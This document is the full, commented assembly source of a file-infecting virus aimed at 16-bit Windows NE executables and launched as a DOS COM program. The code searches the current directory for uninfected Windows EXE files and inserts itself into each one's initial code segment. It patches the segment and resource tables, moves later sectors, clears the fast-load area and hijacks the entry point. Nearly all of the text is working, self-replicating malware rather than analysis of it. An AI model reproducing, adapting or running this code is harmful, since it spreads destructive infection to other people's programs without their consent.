;A Basic Windows-EXE infecting virus. Launched as a DOS COM file. .model small .code ;All code must be offset-relocatable. ;All data is stored on the stack. ;Useful constants NEW_HDR_SIZE EQU 40H ;size of new EXE header ;The following are used to access data on the stack. The first 512 bytes are ;a buffer for disk reads/writes. FILE_ID EQU 200H ;"*.EXE" constant ENTRYPT EQU 206H ;ip of virus start VIRSTART EQU 208H ;offset of virus start in cs NH_OFFSET EQU 20AH ;new EXE header offset from file start VIRSECS EQU 20CH ;size added to file, in sectors for virus INITSEC EQU 20EH ;initial cs location in file (sectors) RELOCS EQU 210H ;number of relocatables in initial cs LOG_SEC EQU 212H ;logical sector size for pgm CS_SIZE EQU 214H ;size of all data in code seg, including rels, not virus NEW_HDR EQU 216H ;new EXE header ;The following gives the size of the virus, in bytes VIRUS_SIZE EQU OFFSET END_VIRUS - OFFSET VIRUS ORG 100H ;****************************************************************************** ;This is the main virus routine. It simply finds a file to infect and infects ;it, and then passes control to the host program. It resides in the first ;segment of the host program, that is, the segment where control is initially ;passed. VIRUS: push ax ;save all registers push bx push cx push dx push si push di call VIR_START VIR_START: pop bx sub bx,3+6 push bp ;save segments and bp push ds push es mov ax,ss ;all viral data is in stack segment mov ds,ax mov es,ax sub sp,512+128 ;data area mov bp,sp ;bp indexes data mov [bp+VIRSTART],bx ;save virus starting offset here call FIND_FILE ;find a viable file to infect jnz GOTO_HOST ;z set if a file was found call INFECT_FILE ;infect it if found GOTO_HOST: add sp,512+128 pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax VIRUS_DONE: jmp HOST ;pass control to host program ;****************************************************************************** ;This routine searches for a file to infect. It looks for EXE files and then ;checks them to see if they're uninfected, infectable Windows files. If a file ;is found, this routine returns with Z set, with the file left open, and its ;handle in the bx register. This FIND_FILE searches only the current directory. FIND_FILE: mov di,bp ;first, put '*.EXE',0 on stack add di,FILE_ID ;at this location mov dx,di ;set dx up for search first mov ax,2E2AH ;*. stosw mov ax,5845H ;EX stosw mov ax,0045H ;E(0) stosw xor cx,cx ;file attribute mov ah,4EH ;search first int 21H FIND_LOOP: or al,al ;see if search successful jnz FIND_EXIT ;nope, exit with NZ set call FILE_OK ;see if it is infectable jz FIND_EXIT ;yes, get out with Z set mov ah,4FH ;no, search for next file int 21H jmp SHORT FIND_LOOP FIND_EXIT: ;pass control back to main routine ret ;This routine determines whether a file is ok to infect. The conditions for an ;OK file are as follows: ; ; (1) It must be a Windows EXE file. ; (2) There must be enough room in the initial code segment for it. ; (3) The file must not be infected already. ; ;If the file is OK, this routine returns with Z set, the file open, and the ;handle in bx. If the file is not OK, this routine returns with NZ set, and ;it closes the file. This routine also sets up a number of important variables ;as it snoops through the file. These are used by the infect routine later. FILE_OK: push ds push es ;save seg registers mov ah,2FH int 21H ;get current DTA address in es:bx push es push ds pop es pop ds ;exchange ds and es mov dx,bx ;put address in ds:dx add dx,30 ;set ds:dx to point to file name mov ah,3DH ;ok, now open the file mov al,01000010B ;flags, read/write, etc. int 21H pop es pop ds ;restore seg registers jnc FOK1 ;error on opening? jmp FOK_ERROR2 ;yes, exit now FOK1: mov bx,ax ;open ok, put handle in bx mov ah,3FH ;now read EXE header mov dx,bp ;ds:dx points to file buffer mov cx,40H ;read 40H bytes int 21H jc FN1 ;exit on error cmp [bp],5A4DH ;see if first 2 bytes are 'MZ' jnz FN1 ;nope, file not an EXE, exit cmp WORD PTR [bp+18H],40H ;see if reloc table is at 40H or more jc FN1 ;nope, it can't be a Windows EXE mov dx,[bp+3CH] ;ok, put offset to new header in dx mov [bp+NH_OFFSET],dx ;and save it here xor cx,cx mov ax,4200H ;now do a seek from start int 21H jc FN1 mov ah,3FH mov cx,NEW_HDR_SIZE ;now read the new header mov dx,bp ;into memory add dx,NEW_HDR int 21H jc FN1 ;exit if there is an error cmp [bp+NEW_HDR],454EH ;see if this is 'NE' new header ID jnz FN1 ;nope, not a Windows EXE! mov al,[bp+36H+NEW_HDR] ;get target OS flags and al,2 ;see if target OS = windows jnz FOK2 ;ok, go on FN1: jmp FOK_ERROR1 ;else exit ;If we get here, then condition (1) is fulfilled. FOK2: mov dx,[bp+16H+NEW_HDR] ;get initial cs call GET_SEG_ENTRY ;and read seg table entry into disk buf jc FOK_ERROR1 mov ax,[bp+2] ;put segment length in ax add ax,VIRUS_SIZE ;add size of virus to it jc FOK_ERROR1 ;if we carry, there's not enough room ;else we're clear on this count ;If we get here, then condition (2) is fulfilled. mov cx,[bp+NEW_HDR+32H] ;logical sector alignment mov ax,1 shl ax,cl ;ax=logical sector size mov cx,[bp] ;get logical-sector offset of start seg mul cx ;byte offset in dx:ax add ax,WORD PTR [bp+NEW_HDR+14H];add in ip of entry point adc dx,0 mov cx,dx mov dx,ax ;put entry point in cx:dx mov ax,4200H ;and seek from start of file int 21H jc FOK_ERROR1 mov ah,3FH mov cx,20H ;read 32 bytes mov dx,bp int 21H ;into buffer jc FOK_ERROR1 mov di,bp mov si,[bp+VIRSTART] ;get starting offset of virus in cs mov cx,10H ;compare 32 bytes FOK3: mov ax,cs:[si] ;of virus at cs add si,2 add di,2 cmp ax,[di-2] ;with code in buffer loopz FOK3 jz FOK_ERROR1 ;already there, exit not ok ;If we get here, then condition (3) is fulfilled, all systems go! xor al,al ;set Z flag ret ;and exit FOK_ERROR1: mov ah,3EH ;close file before exiting int 21H FOK_ERROR2: mov al,1 or al,al ;set NZ ret ;and return to caller ;****************************************************************************** ;This routine modifies the file we found to put the virus in it. There are a ;number of steps in the infection process, as follows: ; 1) We have to modify the segment table. For the initial segment, this ; involves (a) increasing the segment size by the size of the virus, ; and (b) increase the minimum allocation size of the segment, if it ; needs it. Every segment AFTER this initial segment must also be ; adjusted by adding the size increase, in sectors, of the virus ; to it. ; 2) We have to change the starting ip in the new header. The virus is ; placed after the host code in this segment, so the new ip will be ; the old segment size. ; 3) We have to move all sectors in the file after the initial code segment ; out by VIRSECS, the size of the virus in sectors. ; 4) We have to move the relocatables, if any, at the end of the code ; segment we are infecting, to make room for the virus code ; 5) We must move the virus code into the code segment we are infecting. ; 6) We must adjust the jump in the virus to go to the original entry point. ; 7) We must adjust the resource offsets in the resource table to reflect ; their new locations. ; 8) We have to kill the fast-load area. ; INFECT_FILE: mov dx,[bp+NEW_HDR+24H] ;get resource table @ add dx,[bp+NH_OFFSET] xor cx,cx mov ax,4200H int 21H mov dx,bp add dx,LOG_SEC ;read logical sector size mov ah,3FH mov cx,2 int 21H mov cx,[bp+LOG_SEC] mov ax,1 shl ax,cl mov [bp+LOG_SEC],ax ;put logical sector size here mov ax,[bp+NEW_HDR+14H] ;save old entry point mov [bp+ENTRYPT],ax ;for future use mov dx,[bp+NEW_HDR+16H] ;read seg table entry call GET_SEG_ENTRY ;for initial cs mov ax,[bp] ;get location of this seg in file mov [bp+INITSEC],ax ;save that here mov ax,[bp+2] ;get segment size mov [bp+NEW_HDR+14H],ax ;update entry ip in new header in ram call SET_RELOCS ;set up RELOCS and CS_SIZE mov ax,VIRUS_SIZE ;now calculate added size of segment add ax,[bp+CS_SIZE] ;ax=total new size xor dx,dx mov cx,[bp+LOG_SEC] div cx ;ax=full sectors in cs with virus or dx,dx ;any remainder? jz INF05 inc ax ;adjust for partially full sector INF05: push ax mov ax,[bp+CS_SIZE] ;size without virus xor dx,dx div cx or dx,dx jz INF07 inc ax INF07: pop cx sub cx,ax ;cx=number of secs needed for virus mov [bp+VIRSECS],cx ;save this here call UPDATE_SEG_TBL ;perform mods in (1) above on file mov ax,4200H ;now move file pointer to new header mov dx,[bp+NH_OFFSET] xor cx,cx int 21H lea di,[bp+NEW_HDR+37H] ;zero out fast load area xor ax,ax stosb stosw stosw ;(8) completed mov ah,40H ;and update new header in file mov dx,bp ;(we updated the entry point above) add dx,NEW_HDR mov cx,NEW_HDR_SIZE int 21H ;mods in (2) above now complete call MOVE_END_OUT ;move end of virus out by VIRSECS (3) ;also sets up RELOCS count cmp WORD PTR [bp+RELOCS],0 ;any relocatables in cs? jz INF1 ;nope, don't need to relocate them call RELOCATE_RELOCS ;relocate relocatables in cs (4) INF1: call WRITE_VIRUS_CODE ;put virus into cs (5 & 6) call UPDATE_RES_TABLE ;update resource table entries mov ah,3EH ;close the file now int 21H ;all done infecting! ; mov ah,2FH ;report file name infected ; int 21H ;for DOS-based debugging purposes ; push es ;only! ; pop ds ; add bx,30 ; mov dx,bx ;ZLP: mov al,[bx] ; or al,al ; jz ZLP1 ; inc bx ; jmp ZLP ;ZLP1: mov BYTE PTR [bx],'$' ; mov ah,9 ; int 21H ret ;The following procedure updates the Segment Table entries per item (1) in ;INFECT_FILE. UPDATE_SEG_TBL: mov dx,[bp+NEW_HDR+16H] ;read seg table entry call GET_SEG_ENTRY ;for initial cs mov ax,[bp+2] ;get seg size add ax,VIRUS_SIZE ;add the size of the virus to seg size mov [bp+2],ax ;and update size in seg table mov ax,[bp+6] ;get min allocation size of segment or ax,ax ;is it 64K? jz US2 ;yes, leave it alone US1: add ax,VIRUS_SIZE ;add virus size on jnc US2 ;no overflow, go and update xor ax,ax ;else set size = 64K US2: mov [bp+6],ax ;update size in table in ram mov ax,4201H mov cx,0FFFFH mov dx,-8 int 21H ;back up to location of seg table entry mov ah,40H ;and write modified seg table entry mov dx,bp ;for initial cs to segment table mov cx,8 int 21H ;ok, init cs seg table entry is modified mov di,[bp+NEW_HDR+1CH] ;get number of segment table entries US3: push di ;save table entry counter mov dx,di ;dx=seg table entry # to read call GET_SEG_ENTRY ;read it into disk buffer mov ax,[bp] ;get offset of this segment in file cmp ax,[bp+INITSEC] ;higher than initial code segment? jle US4 ;nope, don't adjust add ax,[bp+VIRSECS] ;yes, add the size of virus in US4: mov [bp],ax ;adjust segment loc in memory mov ax,4201H mov cx,0FFFFH mov dx,-8 int 21H ;back up to location of seg table entry mov ah,40H ;and write modified seg table entry mov dx,bp mov cx,8 int 21H pop di ;restore table entry counter dec di jnz US3 ;and loop until all segments done ret ;all done ;This routine goes to the segment table entry number specified in dx in the ;file and reads it into the disk buffer. dx=1 is the first entry! GET_SEG_ENTRY: mov ax,4200H ;seek in file dec dx mov cl,3 shl dx,cl add dx,[bp+NH_OFFSET] add dx,[bp+NEW_HDR+22H] ;dx=ofs of seg table entry requested xor cx,cx ; in the file int 21H ;go to specified table entry jc GSE1 ;exit on error mov ah,3FH ;read table entry into disk buf mov dx,bp mov cx,8 int 21H GSE1: ret ;This routine moves the end of the virus out by VIRSECS. The "end" is ;everything after the initial code segment where the virus will live. ;The variable VIRSECS is assumed to be properly set up before this is called. ;This routine also sets up the RELOCS variable. MOVE_END_OUT: mov ax,[bp+CS_SIZE] ;size of cs in bytes mov cx,[bp+LOG_SEC] xor dx,dx div cx or dx,dx jz ME01 inc ax ME01: add ax,[bp+INITSEC] ;ax=next sector after cs push ax xor dx,dx xor cx,cx mov ax,4202H ;seek end of file int 21H ;returns dx:ax = file size mov cx,[bp+LOG_SEC] div cx ;ax=sectors in file mov si,ax ;keep it here pop di ;last sector after code segment dec di MEO2: push si push di call MOVE_SECTOR ;move sector number si out pop di pop si dec si cmp si,di jnz MEO2 ;and loop until all moved ret ;This routine moves a single sector from SI to SI+VIRSECS MOVE_SECTOR: mov ax,si mov cx,[bp+LOG_SEC] mul cx mov cx,dx mov dx,ax mov ax,4200H int 21H ;seek sector si mov ah,3FH ;and read it mov dx,bp mov cx,[bp+LOG_SEC] int 21H mov ax,[bp+VIRSECS] dec ax ;calculate new, relative file ptr mov cx,[bp+LOG_SEC] mul cx mov cx,dx mov dx,ax mov ax,4201H int 21H ;and move there mov ah,40H mov dx,bp mov cx,[bp+LOG_SEC] int 21H ;and write sector there ret ;This routine simply sets the variable RELOCS and CS_SIZE variables in memory. SET_RELOCS: mov WORD PTR [bp+RELOCS],0 mov dx,[bp+NEW_HDR+16H] ;read init cs seg table entry call GET_SEG_ENTRY mov ax,[bp+4] ;get segment flags xor dx,dx and ah,1 ;check for relocation data mov ax,[bp+NEW_HDR+14H] ;size of segment is this jz SRE ;no data, continue push ax push ax ;there is relocation data, how much? mov ax,[bp+INITSEC] ;find end of code in file mov cx,[bp+LOG_SEC] mul cx ;dx:ax = start of cs in file pop cx ;cx = size of code add ax,cx adc dx,0 mov cx,dx mov dx,ax ;cx:dx=end of cs in file mov ax,4200H ;so go seek it int 21H mov ah,3FH ;and read 2 byte count of relocatables mov dx,bp mov cx,2 int 21H mov ax,[bp] mov [bp+RELOCS],ax ;save count here mov cl,3 shl ax,cl add ax,2 ;size of relocation data pop cx ;size of code in segment xor dx,dx add ax,cx ;total size of segment adc dx,0 SRE: mov [bp+CS_SIZE],ax ;save it here ret ;This routine relocates the relocatables at the end of the initial code ;segment to make room for the virus. It will move any number of relocation ;records, each of which is 8 bytes long. RELOCATE_RELOCS: mov ax,[bp+RELOCS] ;number of relocatables mov cl,3 shl ax,cl add ax,2 ;ax=total number of bytes to move push ax mov ax,[bp+INITSEC] mov cx,[bp+LOG_SEC] mul cx ;dx:ax = start of cs in file add ax,[bp+NEW_HDR+14H] adc dx,0 ;dx:ax = end of cs in file pop cx ;cx = size of relocatables add ax,cx adc dx,0 ;dx:ax = end of code+relocatables xchg ax,cx xchg dx,cx ;ax=size cx:dx=location RR_LP: push cx push dx push ax cmp ax,512 jle RR1 mov ax,512 ;read up to 512 bytes RR1: sub dx,ax ;back up file pointer sbb cx,0 push cx push dx push ax mov ax,4200H ;seek desired location in file int 21H pop cx mov ah,3FH mov dx,bp int 21H ;read needed number of bytes, # in ax pop dx pop cx push ax ;save # of bytes read add dx,VIRUS_SIZE ;move file pointer up now adc cx,0 mov ax,4200H int 21H pop cx ;bytes to write mov ah,40H mov dx,bp int 21H ;write them to new location pop ax pop dx pop cx cmp ax,512 ;less than 512 bytes to write? jle RRE ;yes, we're all done sub ax,512 ;nope, adjust indicies sub dx,512 sbb cx,0 jmp RR_LP ;and go do another RRE: ret ;This routine writes the virus code itself into the code segment being infected. ;It also updates the jump which exits the virus so that it points to the old ;entry point in this segment. The only trick is that we can't write directly ;from cs since we can't just set ds=cs in windows or you get a fault. Thus ;we move the virus to the disk buffer and then write from there. WRITE_VIRUS_CODE: mov ax,[bp+INITSEC] ;sectors to code segment mov cx,[bp+LOG_SEC] mul cx ;dx:ax = location of code seg add ax,[bp+NEW_HDR+14H] adc dx,0 ;dx:ax = place to put virus mov cx,dx mov dx,ax push cx push dx ;save these to adjust jump mov ax,4200H ;seek there int 21H mov si,[bp+VIRSTART] ;si=start of virus mov cx,VIRUS_SIZE ;cx=size of virus WVCLP: push cx cmp cx,512 ;512 bytes maximum allowed per write jle WVC1 mov cx,512 WVC1: push cx mov di,bp ;now move virus to disk buffer WCV2: mov al,cs:[si] ;get a byte from cs inc si stosb ;and save to disk buffer loop WCV2 ;repeat until done pop cx ;now write cx bytes to the file mov dx,bp mov ah,40H int 21H pop cx ;done writing, cmp cx,512 ;did we have more than 512 bytes? jle WVC3 ;nope, all done writing sub cx,512 ;else subtract 512 jmp WVCLP ;and do another WVC3: pop dx ;ok, now we have to update the jump pop cx ;to the host mov ax,OFFSET VIRUS_DONE - OFFSET VIRUS inc ax add dx,ax adc cx,0 ;cx:dx=location to update push ax mov ax,4200H ;go there int 21H pop ax inc ax inc ax add ax,[bp+NEW_HDR+14H] ;ax=offset of instr after jump sub ax,[bp+ENTRYPT] ;ax=distance to jump neg ax ;make it a negative number mov [bp],ax ;save it here mov ah,40H ;and write it to disk mov cx,2 mov dx,bp int 21H ;all done ret ;Update the resource table so sector pointers are right. UPDATE_RES_TABLE: mov dx,[bp+NEW_HDR+24H] ;move to resource table in EXE add dx,[bp+NH_OFFSET] add dx,2 xor cx,cx mov ax,4200H int 21H URT1: mov ah,3FH ;read 8 byte typeinfo record mov dx,bp mov cx,8 int 21H cmp WORD PTR [bp],0 ;is type ID 0? jz URTE ;yes, all done mov cx,[bp+2] ;get count of nameinfo records to read URT2: push cx mov ah,3FH ;read 1 nameinfo record mov dx,bp mov cx,12 int 21H mov ax,[bp] ;get offset of resource cmp ax,[bp+INITSEC] ;greater than initial cs location? jle URT3 ;nope, don't worry about it add ax,[bp+VIRSECS] ;add size of virus mov [bp],ax mov ax,4201H ;now back file pointer up mov dx,-12 mov cx,0FFFFH int 21H mov ah,40H ;and write updated resource rec to mov dx,bp ;the file mov cx,12 int 21H URT3: pop cx dec cx ;read until all nameinfo records for jnz URT2 ;this typeinfo are done jmp URT1 ;go get another typeinfo record URTE: ret ;****************************************************************************** END_VIRUS: ;label for the end of the windows virus ;****************************************************************************** ;The following HOST is only here for the DOS-based loader. Once this infects ;a windows file, the virus will jump to the startup code for the program it ;is attached to. HOST: mov ax,4C00H int 21H END VIRUS